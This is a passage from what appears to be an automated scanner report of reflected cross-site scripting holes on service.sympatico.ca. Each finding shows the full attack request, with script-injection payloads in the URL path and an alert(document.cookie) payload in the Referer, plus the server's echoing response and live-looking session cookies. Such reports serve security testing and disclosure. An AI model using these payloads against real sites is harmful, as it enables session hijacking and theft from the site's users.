B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js5ca38"><script>alert(1)</script>0a48844ffdc/flash_detect.js" />
...[SNIP]...

2.256. https://service.sympatico.ca/js/flash_detect.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bb09"><script>alert(1)</script>47d1468deff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_detect.js8bb09"><script>alert(1)</script>47d1468deff HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:38 GMT
Connection: close
Set-Cookie: SMSESSION=R04TO7JZ6pm/yOCfoC5UY+S8yqS13Zj9yWpJr4kCpVfv6CsaUSKKoWiIyM2g3n0iara8i7kjbSdxug5FxK/vTRMV+OLrp+h4fB6DE0KDOnCVsIggSmvkhgYA2/2N1Jbicy5vgIhTSa5po7RxdMsAAsqetSo19S/+wMpvMkvqJQYOgGCPM+TmbFgUM3aBBXyj4dcLJ1dpvlLHpJj51FWpnbZGHO+mJCA1JKfj+57pmDcHZVfFpf6N9KQd7yeZx6L+LxejrgWAJBaJ+SgNDnwvWk7h6IMlv05J7vEf/PFKnsUnNaQoY1e8ng==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:38 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:38 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/flash_detect.js8bb09"><script>alert(1)</script>47d1468deff" />
...[SNIP]...

2.257. https://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/flash_quickfix.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82760"><script>alert(1)</script>75013a0c33a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js82760"><script>alert(1)</script>75013a0c33a/flash_quickfix.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:53 GMT
Connection: close
Set-Cookie: SMSESSION=zyN2s2XO4c4Rss6Ff7GO+LEfCiW9NeY3U1kyy03yaN7e+/HvlLoN4vx+EkRYQj1Gamt3r9OG5KUAu7EHTfRE93IRPYjsqGNPSKjaiKdYcfydBdClP0Oe1TcjNOpXur4nypBKMjl7B1X0HPsIhKs1itVn+yNIeZe18bvov9kmxPGhXEtU+PbOpIR7WYVQQ0hWikLM49Zz8k1EjuPw7AkDF2J/fMT6aCQAldTCPJmDSB7nSXcXhjIrXC64vnoWqT5h/98vAWdz9x7ux8qZOBnp+ORlS2gzW4Wv0V4NTzXVl+Uko9XIUDizkw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js82760"><script>alert(1)</script>75013a0c33a/flash_quickfix.js" />
...[SNIP]...

2.258. https://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/flash_quickfix.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dc6c"><script>alert(1)</script>a5c816f64d6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_quickfix.js9dc6c"><script>alert(1)</script>a5c816f64d6 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:56 GMT
Connection: close
Set-Cookie: SMSESSION=rwSamrOBWbXOcnnYgMCoX7Q5kSdTqA7Au7ZjRMJzg0L77vkZ0B7bhzMSU6mLbu2UtZC0kaG5HfK9OcLpRf9J0ODE/ysv7K9x+8kr149hz+oqu3v5ehGEpACLYNueGDGy0UW2ZwRYaVGPqb4owt/rAQo7+BlKMlpPD1/NZDl97Ed1z0/KtyVGS38O27b+y1zTRQwfqC9mi0VHm4sltP8OXJYRvLjq0Mq9vZvVoawBVBax4eDnoTOiHutvys7BY7gEpTF8BzyBoS5g1oDrWVsNE82FO4Z5svVTDXBnYaCtXqflT932HmUdNw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3B